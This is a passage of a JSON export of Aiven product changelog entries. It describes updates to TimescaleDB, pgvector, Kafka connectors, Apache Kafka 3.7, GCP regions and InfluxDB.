"},{"_key":"2977a3975b18","_type":"span","marks":["code"],"text":"constant"},{"_key":"e7cc67fbe65d","_type":"span","marks":[],"text":" is different to "},{"_key":"95e8469942f0","_type":"span","marks":["code"],"text":"variable"},{"_key":"ebf33274a81b","_type":"span","marks":[],"text":"."}],"level":1,"listItem":"bullet","markDefs":[{"_key":"6994910a8041","_type":"link","href":"https://github.com/timescale/timescaledb/pull/7055"}],"style":"normal"},{"_key":"481324645cf4","_type":"block","children":[{"_key":"23c1cbbfcd9a0","_type":"span","marks":["99be3f76bcfb"],"text":"#7064"},{"_key":"23c1cbbfcd9a1","_type":"span","marks":[],"text":": Fixed the bug in the default "},{"_key":"a98b38d7ad69","_type":"span","marks":["code"],"text":"order by"},{"_key":"ac251a59f641","_type":"span","marks":[],"text":" calculation in compression."}],"level":1,"listItem":"bullet","markDefs":[{"_key":"99be3f76bcfb","_type":"link","href":"https://github.com/timescale/timescaledb/pull/7064"}],"style":"normal"},{"_key":"7c72b7b133a2","_type":"block","children":[{"_key":"bc3aabc0a10a0","_type":"span","marks":["b18bdde9d0b5"],"text":"#7069"},{"_key":"bc3aabc0a10a1","_type":"span","marks":[],"text":": Fixed the index column name usage."}],"level":1,"listItem":"bullet","markDefs":[{"_key":"b18bdde9d0b5","_type":"link","href":"https://github.com/timescale/timescaledb/pull/7069"}],"style":"normal"},{"_key":"05b1e1d8732e","_type":"block","children":[{"_key":"01cae95920be0","_type":"span","marks":["ec4be73bc58b"],"text":"#7074"},{"_key":"01cae95920be1","_type":"span","marks":[],"text":": Fixed the bug in the default "},{"_key":"9019e0b64034","_type":"span","marks":["code"],"text":"segment by"},{"_key":"4e8b8586b2ad","_type":"span","marks":[],"text":" calculation in compression."}],"level":1,"listItem":"bullet","markDefs":[{"_key":"ec4be73bc58b","_type":"link","href":"https://github.com/timescale/timescaledb/pull/7074"}],"style":"normal"}],"publishedAt":"2024-09-03T09:07:00.000Z","tags":[{"_key":"f8e59ff47d6e","_ref":"3d8215ce-236e-42c1-9599-a3f68ad67d6d","_type":"service"}],"title":"TimescaleDB extension 2.16.1 for Aiven for PostgreSQL® released"} {"__i18n_lang":"en","_createdAt":"2024-05-06T08:43:36Z","_id":"cb7e768f-15bf-44a0-a64b-e6f61cbf91b4","_rev":"ILS0AxpRQSb999R1zitkDt","_type":"changelog","_updatedAt":"2024-05-06T09:01:08Z","changeType":"improved","description":[{"_key":"14d70f554157","_type":"block","children":[{"_key":"9ab83284ea750","_type":"span","marks":[],"text":"The BigQuery connector for Apache Kafka has been upgraded to version 2.6.0, introducing new features and improvements to enhance functionality and reliability."}],"markDefs":[],"style":"normal"},{"_key":"2412f4603f47","_type":"block","children":[{"_key":"2135b04fea2d0","_type":"span","marks":["strong"],"text":"What’s new:"}],"markDefs":[],"style":"normal"},{"_key":"16bc0dc892b3","_type":"block","children":[{"_key":"8df3b8fce3110","_type":"span","marks":["strong"],"text":"Storage Write API support (beta):"},{"_key":"8df3b8fce3111","_type":"span","marks":[],"text":" The "},{"_key":"8df3b8fce3112","_type":"span","marks":["9068ae8375d9"],"text":"Storage Write API"},{"_key":"8df3b8fce3113","_type":"span","marks":[],"text":" is now available as an opt-in feature. To enable it, you can use the "},{"_key":"8df3b8fce3114","_type":"span","marks":["code"],"text":"useStorageWriteApi"},{"_key":"8df3b8fce3115","_type":"span","marks":[],"text":" property. By enabling this feature, the "},{"_key":"8df3b8fce3116","_type":"span","marks":["cb5cf156b504"],"text":"default stream"},{"_key":"8df3b8fce3117","_type":"span","marks":[],"text":" will be used. However, if you set the "},{"_key":"8df3b8fce3118","_type":"span","marks":["code"],"text":"enableBatchMode"},{"_key":"8df3b8fce3119","_type":"span","marks":[],"text":" property to true, the "},{"_key":"8df3b8fce31110","_type":"span","marks":["32a36289831f"],"text":"pending type stream"},{"_key":"8df3b8fce31111","_type":"span","marks":[],"text":" will be used instead. This is currently a beta feature, and its use in production environments is not recommended."}],"level":1,"listItem":"bullet","markDefs":[{"_key":"9068ae8375d9","_type":"link","href":"https://cloud.google.com/bigquery/docs/write-api"},{"_key":"cb5cf156b504","_type":"link","href":"https://cloud.google.com/bigquery/docs/write-api-streaming#at-least-once"},{"_key":"32a36289831f","_type":"link","href":"https://cloud.google.com/bigquery/docs/write-api-batch#batch_load_data_using_pending_type"}],"style":"normal"},{"_key":"88fdbaae5975","_type":"block","children":[{"_key":"01801551c6820","_type":"span","marks":["strong"],"text":"Bug fixes:"}],"markDefs":[],"style":"normal"},{"_key":"03cb792fc984","_type":"block","children":[{"_key":"9df92a0bd9a90","_type":"span","marks":["strong"],"text":"Multiple topics routing:"},{"_key":"9df92a0bd9a91","_type":"span","marks":[],"text":" The "},{"_key":"9df92a0bd9a92","_type":"span","marks":["code"],"text":"topic2TableMap"},{"_key":"9df92a0bd9a93","_type":"span","marks":[],"text":" property now allows multiple topics to be routed to the same table."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"1f7e6ef7e9d5","_type":"block","children":[{"_key":"875d999800a50","_type":"span","marks":["strong"],"text":"Retry logic for merge queries:"},{"_key":"875d999800a51","_type":"span","marks":[],"text":" Added retry logic for "},{"_key":"875d999800a52","_type":"span","marks":["code"],"text":"jobInternalError"},{"_key":"875d999800a53","_type":"span","marks":[],"text":" errors when performing merge queries in upsert/delete mode."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"29dbf4c3abba","_type":"block","children":[{"_key":"d516e30e9c7c0","_type":"span","marks":[],"text":"For more information, refer to the "},{"_key":"d516e30e9c7c1","_type":"span","marks":["6ae3b36a0fb4"],"text":"GitHub release notes "},{"_key":"d516e30e9c7c2","_type":"span","marks":[],"text":"for the BigQuery connector for Apache Kafka."}],"markDefs":[{"_key":"6ae3b36a0fb4","_type":"link","href":"https://github.com/Aiven-Open/bigquery-connector-for-apache-kafka/releases/tag/v2.6.0"}],"style":"normal"}],"publishedAt":"2024-04-22T08:44:00.000Z","tags":[{"_key":"3aeb2dc0b8c0","_ref":"fa631193-9a6d-498e-8545-af24408bef0b","_type":"service"}],"title":"BigQuery connector for Apache Kafka® version 2.6.0"} {"__i18n_lang":"en","_createdAt":"2024-07-26T09:47:54Z","_id":"b5b31ca8-300e-464d-8a74-ccf84689b342","_rev":"7FkI54gkIoGjwSDu3dQHyu","_type":"changelog","_updatedAt":"2024-07-26T12:30:57Z","changeType":"improved","description":[{"_key":"cc18252b45db","_type":"block","children":[{"_key":"98e9189a1c82","_type":"span","marks":[],"text":"Aiven’s JDBC source and sink connectors for Apache Kafka® have been upgraded to version 6.10.0. This version introduces several significant improvements and bug fixes. The most notable changes are:"}],"markDefs":[],"style":"normal"},{"_key":"3417b43cb01c","_type":"block","children":[{"_key":"0f7c88bf4f7c0","_type":"span","marks":["strong"],"text":"Enhancements: "}],"markDefs":[],"style":"normal"},{"_key":"23bebd16a8be","_type":"block","children":[{"_key":"578124c68dc80","_type":"span","marks":["strong"],"text":"Exactly once delivery support ("},{"_key":"578124c68dc81","_type":"span","marks":["844bcc8257d1","strong"],"text":"KIP-618"},{"_key":"578124c68dc82","_type":"span","marks":["strong"],"text":")"},{"_key":"578124c68dc83","_type":"span","marks":[],"text":": Ensures messages are delivered exactly once."}],"level":1,"listItem":"bullet","markDefs":[{"_key":"844bcc8257d1","_type":"link","href":"https://cwiki.apache.org/confluence/display/KAFKA/KIP-618%3A+Exactly-Once+Support+for+Source+Connectors#KIP618:ExactlyOnceSupportforSourceConnectors-ConnectorAPIexpansions"}],"style":"normal"},{"_key":"491f65074225","_type":"block","children":[{"_key":"a7a2ea52e82b0","_type":"span","marks":["strong"],"text":"Tombstone handling"},{"_key":"a7a2ea52e82b1","_type":"span","marks":[],"text":": Enables row delete functionality, allowing the connector to handle tombstone messages effectively."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"4d8da11982be","_type":"block","children":[{"_key":"af8738fa97180","_type":"span","marks":["strong"],"text":"Primary key (PK) mode validation"},{"_key":"af8738fa97181","_type":"span","marks":[],"text":": Adds validation for PK mode against PK fields to ensure data integrity and correctness."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"885714af0329","_type":"block","children":[{"_key":"a30b1a3d66b40","_type":"span","marks":["strong"],"text":"Bug fixes:"}],"markDefs":[],"style":"normal"},{"_key":"7f712d3b9997","_type":"block","children":[{"_key":"6f482e88c6f60","_type":"span","marks":["strong"],"text":"Source task shutdown correction"},{"_key":"6f482e88c6f61","_type":"span","marks":[],"text":": Improved shutdown logic for source tasks to avoid memory leaks."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"b20577e30fd5","_type":"block","children":[{"_key":"99f1e2781c1a0","_type":"span","marks":[],"text":"For more information, see "},{"_key":"99f1e2781c1a1","_type":"span","marks":["e2e85f45a498"],"text":"release notes"},{"_key":"99f1e2781c1a2","_type":"span","marks":[],"text":" and "},{"_key":"99f1e2781c1a3","_type":"span","marks":["d9e507eb6ae4"],"text":"documentation"},{"_key":"99f1e2781c1a4","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"e2e85f45a498","_type":"link","href":"https://github.com/Aiven-Open/jdbc-connector-for-apache-kafka/releases/tag/v6.10.0"},{"_key":"d9e507eb6ae4","_type":"link","href":"https://github.com/Aiven-Open/jdbc-connector-for-apache-kafka"}],"style":"normal"}],"publishedAt":"2024-07-26T09:41:32.879Z","tags":[{"_key":"6d2b80ccf037","_ref":"fa631193-9a6d-498e-8545-af24408bef0b","_type":"service"}],"title":"Aiven JDBC connectors updated to version 6.10.0"} {"__i18n_lang":"en","_createdAt":"2024-05-06T12:39:30Z","_id":"b6511e3c-6a75-420b-9262-ce609351c0d8","_rev":"djBW4fytXpbxkquf76Zc98","_type":"changelog","_updatedAt":"2024-05-08T10:01:23Z","changeType":"new","description":[{"_key":"32b80e3a4577","_type":"block","children":[{"_key":"514d441a7c1b0","_type":"span","marks":[],"text":"We are thrilled to announce that Aiven for Apache Kafka now supports Apache Kafka version 3.7.0. This latest version brings a host of new features and improvements:"}],"markDefs":[],"style":"normal"},{"_key":"e7f7b8f205f3","_type":"block","children":[{"_key":"151b6f0ae0730","_type":"span","marks":[],"text":"Allows "},{"_key":"151b6f0ae0731","_type":"span","marks":["strong"],"text":"creating"},{"_key":"151b6f0ae0732","_type":"span","marks":[],"text":" "},{"_key":"151b6f0ae0733","_type":"span","marks":["strong"],"text":"connectors in the STOPPED state"},{"_key":"151b6f0ae0734","_type":"span","marks":[],"text":" for Apache Kafka® Connect ("},{"_key":"151b6f0ae0735","_type":"span","marks":["0dbe5e2f8c60"],"text":"KAFKA-15470"},{"_key":"151b6f0ae0736","_type":"span","marks":[],"text":"): Newly created connectors are no longer in the "},{"_key":"151b6f0ae0737","_type":"span","marks":["code"],"text":"RUNNING"},{"_key":"151b6f0ae0738","_type":"span","marks":[],"text":" state by default."}],"level":1,"listItem":"bullet","markDefs":[{"_key":"0dbe5e2f8c60","_type":"link","href":"https://issues.apache.org/jira/browse/KAFKA-15470"}],"style":"normal"},{"_key":"2a0236094a27","_type":"block","children":[{"_key":"3a4ae6b66c0f0","_type":"span","marks":[],"text":"Introduces "},{"_key":"3a4ae6b66c0f1","_type":"span","marks":["strong"],"text":"cluster-wide dynamic log adjustments"},{"_key":"3a4ae6b66c0f2","_type":"span","marks":[],"text":" for Apache Kafka® Connect ("},{"_key":"3a4ae6b66c0f3","_type":"span","marks":["7967135b79ad"],"text":"KAFKA-15428"},{"_key":"3a4ae6b66c0f4","_type":"span","marks":[],"text":"): Now, with a single REST API request you can modify the logging level for the worker that receives the request or the logging level for all workers in the cluster."}],"level":1,"listItem":"bullet","markDefs":[{"_key":"7967135b79ad","_type":"link","href":"https://issues.apache.org/jira/browse/KAFKA-15428"}],"style":"normal"},{"_key":"4d858b6d04e5","_type":"block","children":[{"_key":"1ed73fa36b510","_type":"span","marks":[],"text":"Implements "},{"_key":"1ed73fa36b511","_type":"span","marks":["strong"],"text":"client exponential backoff"},{"_key":"1ed73fa36b512","_type":"span","marks":[],"text":" ("},{"_key":"1ed73fa36b513","_type":"span","marks":["26a6725c5b67"],"text":"KAFKA-9800"},{"_key":"1ed73fa36b514","_type":"span","marks":[],"text":") - the maximum amount of time in milliseconds to wait when retrying a request to the broker that has repeatedly failed. If provided, the backoff per client increases exponentially up to this maximum for each failed request."}],"level":1,"listItem":"bullet","markDefs":[{"_key":"26a6725c5b67","_type":"link","href":"https://issues.apache.org/jira/browse/KAFKA-9800"}],"style":"normal"},{"_key":"92f872bd06b7","_type":"block","children":[{"_key":"87d12cd9b0ef0","_type":"span","marks":[],"text":"To learn more about Aiven for Apache Kafka, see "},{"_key":"87d12cd9b0ef1","_type":"span","marks":["d827edff689f"],"text":"Aiven documentation"},{"_key":"87d12cd9b0ef2","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"d827edff689f","_type":"link","href":"https://docs.aiven.io/docs/products/kafka"}],"style":"normal"}],"publishedAt":"2024-05-08T09:58:00.000Z","tags":[{"_key":"6f74f0814cc4","_ref":"5383cbbd-be42-476d-9851-14f1a7621644","_type":"service"}],"title":"Aiven for Apache Kafka® now supports Apache Kafka version 3.7"} {"__i18n_lang":"en","_createdAt":"2023-12-12T14:00:44Z","_id":"81530371-e1c3-4941-8573-805b1e7b0e55","_rev":"8mGThtWzkZE49nEaO2nTTo","_type":"changelog","_updatedAt":"2024-02-02T09:54:36Z","changeType":"new","description":[{"_key":"dbee181fd52d","_type":"block","children":[{"_key":"a0de5ef860850","_type":"span","marks":[],"text":"All Aiven services are now available in the Google Cloud Platform (GCP) regions "},{"_key":"d36a3cd2dec2","_type":"span","marks":["code"],"text":"me-central1 "},{"_key":"6c124f9a0e60","_type":"span","marks":[],"text":"and "},{"_key":"6f93da0c56f6","_type":"span","marks":["code"],"text":"me-central2"},{"_key":"3fc1d6185be0","_type":"span","marks":[],"text":"."}],"markDefs":[],"style":"normal"},{"_key":"6fe02284590d","_type":"block","children":[{"_key":"3bb5445c3cce0","_type":"span","marks":[],"text":"Check all supported GCP cloud regions in "},{"_key":"3bb5445c3cce1","_type":"span","marks":["3ae659dbb82f"],"text":"List of available cloud regions"},{"_key":"3bb5445c3cce2","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"3ae659dbb82f","_type":"link","href":"https://docs.aiven.io/docs/platform/reference/list_of_clouds#google-cloud"}],"style":"normal"}],"publishedAt":"2023-12-12T09:50:00.000Z","tags":[{"_key":"5e9fa86053b7","_ref":"adc248e9-c65b-45b5-a4e6-930767897444","_type":"hostProvider"}],"title":"More GCP cloud regions supported: Doha (Qatar) and Dammam (Saudi Arabia)"} {"__i18n_lang":"en","_createdAt":"2024-05-08T13:33:26Z","_id":"7ec999b5-eebc-41aa-a006-9f9d5cc89fb9","_rev":"zpGi3UTFmkjrflyGX9XsM7","_type":"changelog","_updatedAt":"2024-06-24T09:20:44Z","changeType":"improved","description":[{"_key":"05e81f0e83f6","_type":"block","children":[{"_key":"17cc0cde36670","_type":"span","marks":[],"text":"pgvector version 0.7.2 is now available for Aiven for PostgreSQL®. It introduces new features, improvements, and fixes on top of release 0.6.2."}],"markDefs":[],"style":"normal"},{"_key":"ee73c3249a40","_type":"block","children":[{"_key":"2f79436495790","_type":"span","marks":[],"text":"New"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"fad7b47b0dc0","_type":"block","children":[{"_key":"1b25ed10b25f0","_type":"span","marks":["code"],"text":"halfvec"},{"_key":"0a1f18a7bff3","_type":"span","marks":[],"text":" type"}],"level":2,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"574af60853b3","_type":"block","children":[{"_key":"c402a6b68c490","_type":"span","marks":["code"],"text":"sparsevec"},{"_key":"caccff591077","_type":"span","marks":[],"text":" type"}],"level":2,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"3cf0b231ba88","_type":"block","children":[{"_key":"3256b2f24d3f0","_type":"span","marks":[],"text":"Support for indexing the "},{"_key":"b5841da3d2ef","_type":"span","marks":["code"],"text":"bit"},{"_key":"43f32c064c79","_type":"span","marks":[],"text":" type"}],"level":2,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"9a35b456eb01","_type":"block","children":[{"_key":"4bc747bcd7f00","_type":"span","marks":[],"text":"Support for indexing L1 distance with HNSW"}],"level":2,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"cb0769e8e646","_type":"block","children":[{"_key":"069814463b220","_type":"span","marks":["code"],"text":"binary_quantize"},{"_key":"1ba7921cd965","_type":"span","marks":[],"text":" function"}],"level":2,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"d0fa619d68ce","_type":"block","children":[{"_key":"6517f384e8660","_type":"span","marks":["code"],"text":"hamming_distance"},{"_key":"d969bdab29ee","_type":"span","marks":[],"text":" function"}],"level":2,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"5363b97a69ec","_type":"block","children":[{"_key":"21eaa3bfbafd0","_type":"span","marks":["code"],"text":"jaccard_distance"},{"_key":"daa0d30ecc43","_type":"span","marks":[],"text":" function"}],"level":2,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"ffd6e6d40d5b","_type":"block","children":[{"_key":"8cd55a7b1b570","_type":"span","marks":["code"],"text":"l2_normalize"},{"_key":"f6366c6cfe80","_type":"span","marks":[],"text":" function"}],"level":2,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"10fb9a5fc9dd","_type":"block","children":[{"_key":"1f2fc382985b0","_type":"span","marks":["code"],"text":"subvector"},{"_key":"98bcd1e72f35","_type":"span","marks":[],"text":" function"}],"level":2,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"7936ca13f5e0","_type":"block","children":[{"_key":"c50ec110abbf0","_type":"span","marks":[],"text":"Concatenate operator for vectors"}],"level":2,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"613e2f3bae40","_type":"block","children":[{"_key":"9f2881712d380","_type":"span","marks":[],"text":"CPU dispatching for distance functions on Linux x86-64"}],"level":2,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"0f53d7013461","_type":"block","children":[{"_key":"e1c1bdd09eee0","_type":"span","marks":[],"text":"Improved"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"091d3b28cf79","_type":"block","children":[{"_key":"2933f1d297430","_type":"span","marks":[],"text":"Performance of on-disk HNSW index builds"}],"level":2,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"1bd3f0eba156","_type":"block","children":[{"_key":"3886735b407c0","_type":"span","marks":[],"text":"Comparison operators to support vectors with different dimensions"}],"level":2,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"b7b7f86c7838","_type":"block","children":[{"_key":"3b1db5d049690","_type":"span","marks":[],"text":"Fixed"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"4f0f2a9f4983","_type":"block","children":[{"_key":"cc9660d2f5de0","_type":"span","marks":[],"text":"Initialization fork for indexes on unlogged tables"}],"level":2,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"05dabe39a533","_type":"block","children":[{"_key":"1bdba4590ec80","_type":"span","marks":["code"],"text":"undefined symbol"},{"_key":"770fe2ac4d68","_type":"span","marks":[],"text":" error with GCC 8"}],"level":2,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"58a2aaffbca0","_type":"block","children":[{"_key":"8c06f4103ef20","_type":"span","marks":[],"text":"Compilation error with universal binaries on Mac"}],"level":2,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"1a4aeb2f8b2b","_type":"block","children":[{"_key":"c8229df034190","_type":"span","marks":[],"text":"Compilation warning with Clang \u003c 14"}],"level":2,"listItem":"bullet","markDefs":[],"style":"normal"}],"publishedAt":"2024-06-20T09:19:00.000Z","tags":[{"_key":"cf91fe08c301","_ref":"3d8215ce-236e-42c1-9599-a3f68ad67d6d","_type":"service"}],"title":"pgvector extension 0.7.2 for Aiven for PostgreSQL® released"} {"__i18n_lang":"en","_createdAt":"2022-10-27T09:09:02Z","_i18n_lang":"en","_id":"0712bf09-92d9-42e3-a513-2e99e699b020","_rev":"AUoLUkEDo6CVeRx5sosfKP","_type":"changelog","_updatedAt":"2024-02-08T17:46:18Z","changeType":"","description":[{"_key":"18582a31-0b8b-4959-a34b-5ba0ff9546a7","_type":"block","children":[{"_key":"d5df4ac8-e97d-47c1-ab0b-b459c5a3cc1b","_type":"span","marks":[],"text":"See the "},{"_key":"4cd488ea-5e40-4f6c-9d14-c7932dddae82","_type":"span","marks":["m9811041619404"],"text":"Changelog"},{"_key":"ccc5e3be-3198-4248-aa6b-e29ce2153222","_type":"span","marks":[],"text":" for details of the changes."}],"markDefs":[{"_key":"m9811041619404","_type":"link","href":"https://github.com/influxdata/influxdb/blob/v1.7.3/CHANGELOG.md"}],"style":"normal"}],"publishedAt":"2019-01-30T00:00:00.000Z","title":"Aiven for InfluxDB has been upgraded to the latest release, 1.7.3, which includes a number of new features and bug fixes"} {"__i18n_lang":"en","_createdAt":"2022-10-27T09:07:57Z","_i18n_lang":"en","_id":"2bbe5157-d156-4bd7-a6df-554741dc19e8","_rev":"AUoLUkEDo6CVeRx5sqNBip","_type":"changelog","_updatedAt":"2024-02-09T08:16:36Z","changeType":"","description":[{"_key":"a5b98ed0-a434-42ce-a6e6-f0ca64f7147a","_type":"block","children":[{"_key":"81c73226-f3d0-4f46-9c55-7644d600a75c","_type":"span","marks":[],"text":"See the "},{"_key":"9771de6c-dd2b-4737-b8a9-956b3ac24288","_type":"span","marks":["m6322260717991"],"text":"Changelog"},{"_key":"032126e4-475e-4636-a99f-62353431cca1","_type":"span","marks":[],"text":" for details of the changes."}],"markDefs":[{"_key":"m6322260717991","_type":"link","href":"https://github.com/influxdata/influxdb/blob/v1.7.8/CHANGELOG.md"}],"style":"normal"}],"publishedAt":"2019-09-19T00:00:00.000Z","title":"Aiven for InfluxDB has been upgraded to the latest release, 1.7.8, which includes a number of bug fixes"} {"__i18n_lang":"en","_createdAt":"2022-10-27T09:06:16Z","_i18n_lang":"en","_id":"26e8772e-9c15-4c21-acd0-21be23ddb64c","_rev":"AUoLUkEDo6CVeRx5sqN9Vp","_type":"changelog","_updatedAt":"2024-02-09T08:16:08Z","changeType":"","description":[{"_key":"babf662f7599","_type":"block","children":[{"_key":"a8b437796de30","_type":"span","marks":[],"text":"The fork functionality is now available also for InfluxDB, allowing you to easily create copies of your services."}],"markDefs":[],"style":"normal"}],"publishedAt":"2020-08-05T00:00:00.000Z","title":"The fork functionality is now available also for InfluxDB"} {"__i18n_lang":"en","_createdAt":"2022-10-27T09:11:21Z","_i18n_lang":"en","_id":"500ab900-b520-4686-a316-84a9f4ea9b4a","_rev":"aqN8LslQ3cZYmtCXIvB3Dk","_type":"changelog","_updatedAt":"2024-02-09T08:17:10Z","changeType":"","description":[{"_key":"c000e7d2-6435-441e-88ef-e3ed1b21acc5","_type":"block","children":[{"_key":"253ff095-3abc-4ad8-8154-d69cbb571825","_type":"span","marks":[],"text":"To see what's new, check out the InfluxDB "},{"_key":"61bc82c1-1d5c-4e6f-9a3d-4db4f57291da","_type":"span","marks":["m11496660721747"],"text":"Changelog"},{"_key":"69590957-f97e-4b81-8229-66200dd66705","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"m11496660721747","_type":"link","href":"https://github.com/influxdata/influxdb/blob/master/CHANGELOG.md"}],"style":"normal"}],"publishedAt":"2017-09-04T00:00:00.000Z","title":"Added support for version 1.3.5"} {"__i18n_lang":"en","_createdAt":"2022-10-27T09:05:37Z","_i18n_lang":"en","_id":"3719a568-3a11-44a5-b9f9-01586d3bff9c","_rev":"aqN8LslQ3cZYmtCXIvB2YP","_type":"changelog","_updatedAt":"2024-02-09T08:16:54Z","changeType":"","description":[{"_key":"f6d17e03-5fa3-460b-bb72-16b5570bc0ed","_type":"block","children":[{"_key":"c99113b6-126b-4f2e-9fca-66facba0f587","_type":"span","marks":[],"text":"See the "},{"_key":"2714ce75-62cd-44f8-b87e-a4178b66bb9d","_type":"span","marks":["m15511178539043"],"text":"Changelog"},{"_key":"b190272e-2b0d-4d64-a59e-d5f13db166b6","_type":"span","marks":[],"text":" for details of the changes."}],"markDefs":[{"_key":"m15511178539043","_type":"link","href":"https://github.com/influxdata/influxdb/blob/v1.8.3/CHANGELOG.md"}],"style":"normal"}],"publishedAt":"2020-12-01T00:00:00.000Z","title":"Aiven for InfluxDB has been upgraded to the latest release, 1.8.3, which includes a number of bug fixes"} {"__i18n_lang":"en","_createdAt":"2022-10-27T09:08:46Z","_i18n_lang":"en","_id":"6d074b22-dea3-4b88-b945-a6c5b7614660","_rev":"AUoLUkEDo6CVeRx5sqNkeJ","_type":"changelog","_updatedAt":"2024-02-09T08:17:44Z","changeType":"","description":[{"_key":"bedc0dd3-944c-4990-a8c0-ad84fc05a66e","_type":"block","children":[{"_key":"32343e7e-708d-4d2d-bbac-60ac15778cb6","_type":"span","marks":[],"text":"See the "},{"_key":"c4d63908-cbb5-447d-b460-c7213936456e","_type":"span","marks":["m2161843867530"],"text":"Changelog"},{"_key":"418d5fd8-ed61-44a9-a928-713af7d222e6","_type":"span","marks":[],"text":" for details of the changes."}],"markDefs":[{"_key":"m2161843867530","_type":"link","href":"https://github.com/influxdata/influxdb/blob/v1.7.5/CHANGELOG.md"}],"style":"normal"}],"publishedAt":"2019-04-03T00:00:00.000Z","title":"Aiven for InfluxDB has been upgraded to the latest release, 1.7.5, which includes a number of bug fixes"} {"__i18n_lang":"en","_createdAt":"2022-10-27T09:10:25Z","_i18n_lang":"en","_id":"87c5ff53-72cd-4c1a-a3d0-898071d10e23","_rev":"aqN8LslQ3cZYmtCXIvCE1B","_type":"changelog","_updatedAt":"2024-02-09T08:21:48Z","changeType":"","description":[{"_key":"08f98443-28e3-4ac0-9719-a5438ae580c2","_type":"block","children":[{"_key":"02df45cd-0c5b-456d-a169-c97126b36180","_type":"span","marks":[],"text":"InfluxDB requires a significant amount of memory for each data series and the new plans make it easier and more affordable to scale to higher tiers allowing more time series to be used inside a single InfluxDB service."}],"markDefs":[],"style":"normal"}],"publishedAt":"2018-03-26T00:00:00.000Z","title":"Introduce new InfluxDB plans with more memory"} {"__i18n_lang":"en","_createdAt":"2022-10-27T09:11:31Z","_i18n_lang":"en","_id":"d712aa3b-7e94-49b4-971a-5a41480eb051","_rev":"AUoLUkEDo6CVeRx5sqQ0MF","_type":"changelog","_updatedAt":"2024-02-09T08:24:41Z","changeType":"","description":[{"_key":"a1f168e1-0313-40ac-b0f1-7fbc48f905c0","_type":"block","children":[{"_key":"af13bcc1-c0e9-4fa1-955c-6a482dac2635","_type":"span","marks":[],"text":"To see what's new, check out the InfluxDB "},{"_key":"6b109025-21d7-48ea-ae72-13d56e845038","_type":"span","marks":["m11496660721747"],"text":"Changelog"},{"_key":"cd3dea8d-2abe-4df6-b0be-3f85825e8bbd","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"m11496660721747","_type":"link","href":"https://github.com/influxdata/influxdb/blob/master/CHANGELOG.md"}],"style":"normal"}],"publishedAt":"2017-08-03T00:00:00.000Z","title":"Upgraded to minor release 1.3.1"} {"__i18n_lang":"en","_createdAt":"2022-10-27T09:10:15Z","_i18n_lang":"en","_id":"ae8ddb2e-d4be-474d-bb58-27a9f8de6100","_rev":"aqN8LslQ3cZYmtCXIvCWcu","_type":"changelog","_updatedAt":"2024-02-09T08:23:57Z","changeType":"","description":[{"_key":"2d7056a4-aee5-4a8c-a164-3054db711260","_type":"block","children":[{"_key":"db45ed13-e25b-4663-a254-5190155d95af","_type":"span","marks":[],"text":"The new plans come with 150, 200 and 240 gigabytes of memory."}],"markDefs":[],"style":"normal"}],"publishedAt":"2018-05-03T00:00:00.000Z","title":"Introduce new, even larger InfluxDB plans to allow processing a greater number of time series"} {"__i18n_lang":"en","_createdAt":"2022-10-27T09:12:00Z","_i18n_lang":"en","_id":"67cbac36-ac42-4ab7-ba1e-80825fd286d6","_rev":"aqN8LslQ3cZYmtCXIvBC8B","_type":"changelog","_updatedAt":"2024-02-09T08:17:29Z","changeType":"","description":[{"_key":"ad8e37d8-3e7b-4306-a4db-5b03269606b8","_type":"block","children":[{"_key":"977cd639-2e19-494e-8d1d-fb56eb92dbb5","_type":"span","marks":[],"text":"lease see the "},{"_key":"95215aa8-b302-4106-a2b1-d8b65edc925b","_type":"span","marks":["m11496660721747"],"text":"Changelog"},{"_key":"90a8091b-ecde-4e08-be5b-d496feea2835","_type":"span","marks":[],"text":" for what's new in this release."}],"markDefs":[{"_key":"m11496660721747","_type":"link","href":"https://github.com/influxdata/influxdb/blob/master/CHANGELOG.md"}],"style":"normal"}],"publishedAt":"2017-03-23T00:00:00.000Z","title":"Updated to minor version 1.2.2"} {"__i18n_lang":"en","_createdAt":"2022-10-27T09:10:24Z","_i18n_lang":"en","_id":"b6d14f21-be48-4f7a-94bd-16ac2940531d","_rev":"AUoLUkEDo6CVeRx5sqPwDv","_type":"changelog","_updatedAt":"2024-02-09T08:24:13Z","changeType":"","description":[{"_key":"0d795bbb-2967-4e75-92d0-086578e9fe46","_type":"block","children":[{"_key":"355388fd-4714-4e78-a130-9393721069ff","_type":"span","marks":[],"text":"See the "},{"_key":"7247502b-8fd6-4643-af52-190643fcbe0f","_type":"span","marks":["m10889076250060"],"text":"Changelog"},{"_key":"0a869629-14a5-4922-ad03-f2a9b3acc125","_type":"span","marks":[],"text":" for details of the changes."}],"markDefs":[{"_key":"m10889076250060","_type":"link","href":"https://github.com/influxdata/influxdb/blob/v1.5.1/CHANGELOG.md"}],"style":"normal"}],"publishedAt":"2018-03-27T00:00:00.000Z","title":"Aiven for InfluxDB has 